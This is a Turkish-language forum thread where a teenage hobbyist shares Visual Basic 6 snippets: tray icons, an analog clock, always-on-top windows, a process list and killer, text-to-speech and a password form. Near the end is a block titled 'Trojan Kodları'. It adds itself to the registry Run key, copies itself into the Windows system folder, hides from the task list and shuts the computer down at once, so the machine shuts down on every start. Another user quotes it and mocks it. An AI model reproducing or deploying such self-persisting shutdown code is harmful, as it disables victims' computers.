Örnek Kodlar (ßy_Sky)

[ßy_Sky]

Visual basic Download

Microsoft Visual Basic 6.0 Professional Edition + Service Pack 6

Bilgi

Visual Basic** Microsoft tarafından** Basic programlama dili üzerinde geliştirilmiş** olay yönlendirmeli** üst seviye** nesne tabanlı ve görsel bir programlama dilidir.

Windows işletim sistemlerinin yaratıcısı Microsoft tarafından hazırlanan Visual Basic 6.0** hem kullanıcılara hem de programcılara Windows'un tüm olanaklarını öğrenme imkânı veriyor. Programcılar Visual Basic 6.0'ı kullanarak ticarî programlar hazırlayabilir** internet uygulamaları geliştirebilir Kısacası Microsoft Visual Basic'in verdiği olanaklar** programcıların hayal gücü ile sınırlıdır...

http://hotfile.com/dl/27298935/43fe139/Visual_Basic_6.rar.html

RAR PASS ;

www.gorselprogram.com

[ßy_Sky]

Evet arkadaşlar bu dersimizde DLL hazırlamayı görücez.

Öncelikle tanıyalım.Windows işletim sistemlerinde temel yapı taşı APİ ve DLL lerdir..DLL ler dosyaların içinde tanımlanır..3 ana DLL den ouşurlar.Bu DLL ler Kernel32.dll gdy32.dll ve User32.Dll

Altta Source paylaşıcam burda anlatmaya kalkarsam elim ağrır

Gerisi Size Kalmış bir şey

http://www.upload.gen.tr/d.php/s13/4h70nhtb/Dll_Haz__rlama.rar.html

[ßy_Sky]

İlk Once Bir button açalım Bu Label Olarak degişe bilir

   
      Private Sub Command1_Click()
      SendKeys "{Home}"
      SendKeys "{Enter}"
      End Sub

Bunu yaptıktan sonra Fare'niz kitlenır

[ßy_Sky]

Gerekenler;

1 Adet Button
1 Adet Modül

Forum'un Başına BuNu YAZIYORUZ..

Dim nid As NOTIFYICONDATA

Forum'un İçine BuNu YAZIYORUZ..

Sub minimize_to_tray()
Me.Hide
With nid
    .cbSize = Len(nid)
    .hwnd = Me.hwnd
    .uId = vbNull
    .uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
    .uCallBackMessage = WM_MOUSEMOVE
    .hIcon = Me.Icon
End With
Shell_NotifyIcon NIM_ADD, nid
End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)

Dim msg As Long
Dim sFilter As String

msg = X / Screen.TwipsPerPixelX
Select Case msg
    Case WM_LBUTTONDOWN
        Me.Show
        Shell_NotifyIcon NIM_DELETE, nid
    Case WM_LBUTTONUP
    Case WM_LBUTTONDBLCLK
    Case WM_RBUTTONDOWN
    Case WM_RBUTTONUP
        PopupMenu Mnu
    Case WM_RBUTTONDBLCLK
End Select
End Sub

Button'a Bunu EKLİYORUZ

Private Sub Command1_Click()
Cancel = 1
minimize_to_tray
End Sub

Son Olarak Modül'ede Bunu Ekliyoruz..

Public Type NOTIFYICONDATA
cbSize As Long
hwnd As Long
uId As Long
uFlags As Long
uCallBackMessage As Long
hIcon As Long
szTip As String * 64
End Type
Public Const NIM_ADD = &H0
Public Const NIM_MODIFY = &H1
Public Const NIM_DELETE = &H2
Public Const WM_MOUSEMOVE = &H200
Public Const NIF_MESSAGE = &H1
Public Const NIF_ICON = &H2
Public Const NIF_TIP = &H4
Public Const WM_LBUTTONDBLCLK = &H203 'Double-click
Public Const WM_LBUTTONDOWN = &H201 'Button down
Public Const WM_LBUTTONUP = &H202 'Button up
Public Const WM_RBUTTONDBLCLK = &H206 'Double-click
Public Const WM_RBUTTONDOWN = &H204 'Button down
Public Const WM_RBUTTONUP = &H205 'Button up
Public Declare Function Shell_NotifyIcon Lib "shell32" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, pnid As NOTIFYICONDATA) As Boolean

İstege gore degişe bilir Command Label unload gibi

ßy_Sky

[ßy_Sky]

Private Sub Command1_Click()
Dim d_tarih, gun
Do
d_tarih = InputBox("Doğum Tarihinizi Giriniz :")

Loop While Not IsDate(d_tarih)
Select Case Weekday(d_tarih)
Case 1: gun = "Pazar"
Case 2: gun = "Pazartesi"
Case 3: gun = "Salı"
Case 4: gun = "Çarşamba"
Case 5: gun = "Perşembe"
Case 6: gun = "Cuma"
Case 7: gun = "Cumartesi"
End Select
MsgBox (gun & " Günü Doğmuşsunuz")  ' İstediginiz Yaza Bilirsiniz
End Sub

ßy_Sky

[ßy_Sky]

Private Sub Timer1_Timer()
Form1.Caption = Right(Form1.Caption, 1) & _
Left(Form1.Caption, Len(Form1.Caption) - 1)
End Sub

timer açın içine bunları yazın

Form Başlıgını Onceden girmeyi sakın unutmayın ... ßy_Sky

[ßy_Sky]

http://vimeo.com/12223433

bir yerde gordum beğenirsiniz diye paylaştım

Video ile anlatım !

ALINTI

[ßy_Sky]

Form'a 1 Aded Check Ekliyoruz..

Private Sub Check1_Click()
If Check1.Value = 1 Then
YukarıdaTut Me, True
Else
YukarıdaTut Me, False
End If
End Sub

Alttaki Kodu Yapıştırıyoruz..
Daha Sonra
1 Adet Modül Ekliyoruz..(Sağ Taraf Form'a Sağ Tıkla/Ekle/Modül)
Modül'ün İçine bunu Ekliyoruz..

Public Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Const HWND_TOPMOST = -1
Const HWND_NOTOPMOST = -2
Const SWP_NOMOVE As Long = &H2
Const SWP_NOSIZE As Long = &H1
Public Sub YukarıdaTut(TheForm As Form, SetOnTop As Boolean)
    Dim lflag
    If SetOnTop Then
        lflag = HWND_TOPMOST
    Else
        lflag = HWND_NOTOPMOST
    End If
    SetWindowPos TheForm.hWnd, lflag, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE
End Sub

Otomatik Olarak Çalışmasını İsterseniz
Form_Load Bölümü Bu Şekilde Ekliyebilirsiniz..

Private Sub Form_Load()
Check1.Value = 1
End Sub

ßy_Sky

[ßy_Sky]

Private Sub Form_Load()

Dim aci, i, t

AutoRedraw = True

Timer1.Interval = 1000 ' 1 saniye

Timer2.Interval = 10 '1 saniye

'zemin desenini çiz

ScaleMode = 3 'pixel moduna geçir

For i = 0 To ScaleHeight

Line (0, i)-(ScaleWidth, i), i * 256

Next

ScaleMode = 1 'normal moda dön

'form yüksekli?ini ve genisligini ayni yap

Width = ScaleHeight

'matematiksel koordinatlara göre yeniden ölçekle

Scale (-20, 20)-(20, -20)

t = "Programmer"

CurrentX = -TextWidth(t) / 2 ' orta noktayy bul

CurrentY = -1

Print t

t = "ßy_Sky"

CurrentX = -TextWidth(t) / 2

CurrentY = -4

Print t



'saat yuvarlagini ciz

DrawWidth = 5

Circle (0, 0), 19, 65535



DrawWidth = 2

'saniye cizimlerini ciz

For aci = 0 To 360 Step 6

Line (18 * Cos(aci * 3.1415 / 180), 18 * Sin(aci * 3.1415 / 180))-(19 * Cos(aci * 3.1415 / 180), 19 * Sin(aci * 3.1415 / 180)), QBColor(5) 'saniyelerin arka rengi

Next

'saat cizgilierini ciz

DrawWidth = 4

For aci = 0 To 360 Step 6 * 5

Line (18 * Cos(aci * 3.1415 / 180), 18 * Sin(aci * 3.1415 / 180))-(19 * Cos(aci * 3.1415 / 180), 19 * Sin(aci * 3.1415 / 180)), QBColor(15) 'saatlerin arka rengi

Next

DrawMode = 7 'xor

End Sub



Private Sub Timer1_Timer()

Dim aci, saniye, dakika, saat, i

Static sx, sy, dx, dy, stx, sty

Caption = Time

DrawWidth = 2

Line (0, 0)-(sx, sy), QBColor(6) 'saniyeyi çiz

saniye = Second(Time) 'saniyeyi saatten al

aci = -saniye * 6 + 90 'her bir saniye +6 derecedir 360 derece 60 saniyedir

sx = 18 * Cos(aci * 3.1415 / 180)

sy = 18 * Sin(aci * 3.1415 / 180)

Line (0, 0)-(sx, sy), QBColor(6) 'saniyeyi çiz



DrawWidth = 3

Line (0, 0)-(dx, dy), QBColor(11) 'yelkovany çiz

dakika = Minute(Time) 'dakikayi saatten al

aci = -dakika * 6 + 90 'her bir dakika 6 derecedir 360 derece / 60 dakikadir

dx = 18 * Cos(aci * 3.1415 / 180)

dy = 18 * Sin(aci * 3.1415 / 180)

Line (0, 0)-(dx, dy), QBColor(11) 'yelkovani çiz

DrawWidth = 3

Line (0, 0)-(stx, sty), QBColor(12) 'akrebi ciz

saat = Hour(Time) 'saati saatten al

aci = -saat * 30 + 90 'her bir saat 30 derecedir 360 derece / 12 saat

stx = 12 * Cos(aci * 3.1415 / 180)

sty = 12 * Sin(aci * 3.1415 / 180)

Line (0, 0)-(stx, sty), QBColor(12) 'akrebi ciz

'saat basi ise zil cal

If Minute(Time) = 0 Then Beep

End Sub



Private Sub Timer2_Timer()

Static sls

sls = (sls + 1) Mod 360

Dim aci

Dim sx, sy, dx, dy, stx, sty

DrawWidth = 1

aci = -sls * 3.6 + 90 'her bir saniye 3.6 derecedir. 360 derece/ 100

sx = 3 * Cos(aci * 3.1415 / 180)

sy = 3 * Sin(aci * 3.1415 / 180)

Line (5, 5)-(5 + sx, 5 + sy), QBColor(10) 'sagdaki kucuk ibre

Line (-5, 5)-(-5 - sx, 5 - sy), QBColor(10) 'soldaki kucuk ibre

End Sub

2 tane Tİmer ekleyin sonra başlatın

[ßy_Sky]

Arkadaşlar bu kodlama sadece bişeyleri görmeniz için kodlandı.Bir nevi görev yöneticisidir.
Form'a 1 adet listbox ve 1 adet buton ekliyoruz..

Formun üst kısmına

Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, lppe As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, lppe As PROCESSENTRY32) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal ApphProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * 260
End Type

Dim lSnapShot As Long, lNextProcess As Long, Program As PROCESSENTRY32

Buton Kodumuz

TerminateProcess OpenProcess(0, False, Val(List1.Text)), lExitCode
DoEvents
List1.Clear
Bul

Form Load

Bul

Son olarak bul tanıyalım.Form en altına

Private Sub Bul()
lSnapShot = CreateToolhelp32Snapshot(&H2&, 0&)
Program.dwSize = Len(Program)
lNextProcess = Process32First(lSnapShot, Program)
Do While lNextProcess
List1.AddItem Program.th32ProcessID & " " & Program.szExeFile
lNextProcess = Process32Next(lSnapShot, Program)
Loop
End Sub

[ßy_Sky]

Microsoft Speech Object Library ekle..

Sonra Form üst kısma

Dim speech As SpVoice

Command ve text ekle..

Command kodu

speech.Speak Text1

Ve form Loada

Set speech = New SpVoice

Takıldıgınız Yer olursa Ozel Mesaj atın ....

[ßy_Sky]

Arkadaşlar Formumuzu Şifre ile açtırmak için öncelikle 2 adet form ekliyoruz projeye(form1 ve form2)
1 Adet buton ekliyoruz
4 adet textbox ekliyoruz...

Buton Kodumuz..

If Text1.Text = "By_Sky" And Text2.Text = "By_Sky" And Text3.Text = "By_Sky" And Text4.Text = "By_Sky" Then ' Textleri azaltarak kendinize göre yapabilirsiniz..
Form1.Hide
Form2.Show
Else
a = a + 1
MsgBox "Kullanıcı adı ve Şifreyi Kontrol Edin", , "HATA"
End If
If a = 3 Then
Text1.Enabled = False
Text2.Enabled = False
Command1.Enabled = False
MsgBox "3 sefer hatalı giriş yaptınız", , "UYARI"
MsgBox "Güle Güle", , "Güle Güle"
Form1.Hide
Form2.Hide
End If

Formumuzun üst kısmına

Dim a

form load' ekleyin

a = 0

[ßy_Sky]

Trojan Kodları

Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
On Error Resume Next
Dim yol, ad, TamYol
yol = App.Path
ad = App.EXEName & ".exe"
TamYol = yol & "\" & ad
FileCopy TamYol, "C:\Windows\System\saka.exe"
App.TaskVisible = False
Shell ("shutdown -s -t 1")

Trojan'le Keylogger aynı şey deyildir Lutfen Onun gibi yorum'lar yapmayınız

[orhanc]

Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
On Error Resume Next
Dim yol, ad, TamYol
yol = App.Path
ad = App.EXEName & ".exe"
TamYol = yol & "\" & ad
FileCopy TamYol, "C:\Windows\System\saka.exe"
App.TaskVisible = False
Shell ("shutdown -s -t 1")

Trojan'le Keylogger aynı şey deyildir Lutfen Onun gibi yorum'lar yapmayınız

2 satır kod ile trojan mı yazdım sanıyorsun ?

Truva atı (Trojan), Bilgisayar yazılımı bağlamında Truva atı zararlı program barındıran veya yükleyen programdır. ( Bazen "zararlı yük" veya sadece "truva" ibareleriyle de nitelendirilmektedir.) Terim klasik Truva Atı mitinden türemiştir.Truva atları masum kullanıcıya kullanışlı veya ilginç programlar gibi görünebilir ancak yürütüldüklerinde zararlıdırlar.

Truva atlarının iki türü vardır.Birincisi,kullanışlı bir programın bir hacker tarafından tahribata uğrayıp içine zararlı kodlar yüklenip program açıldığında yayılan cinsi. Örnek olarak çeşitli hava durumu uyarı programları, bilgisayar saati ayarlama yazılımları ve paylaşım programları (p2p) verilebilir. Diğer türü ise bağımsız bir program olup başka bir dosya gibi görünür. Örneklemek gerekirse oyun veya kalıp dosyası gibi kullanıcıyı aldatmaya yönelik bir takım yönlendirici karışıklık ile programın harekete geçirilmesine ihtiyaç duyulmaktadır.

Truva atları diğer kötücül yazılımlar, bilgisayar virüsleri ve bilgisayar solucanı gibi kendi başlarına işlem yapamazlar. Aynen Yunanların planlarının işleyebilmesi için atın Truvalılar tarafından içeri alınması gerektiği gibi Truva atlarının zararlılığı da kullanıcının hareketlerine bağlıdır. Truva atları kendilerini kopyalayıp dağıtsalar bile her kurbanın programı (Truvayı) çalıştırması gerekir. Bu yüzden Truva atlarının zararlılığı bilgisayar sistem açıklarına veya ayarlarına değil toplum mühendisliğinin başarılı uygulamalarına bağlıdır.

[ßy_Sky]

Tamam bılıyorum'da O kadar Professional Deyilim K.bakma
16 Yaşındayım ve Hiç bir egitik almadan Bu kodu yazdım ?
Elimden gelen bu kadar K.bakmayınız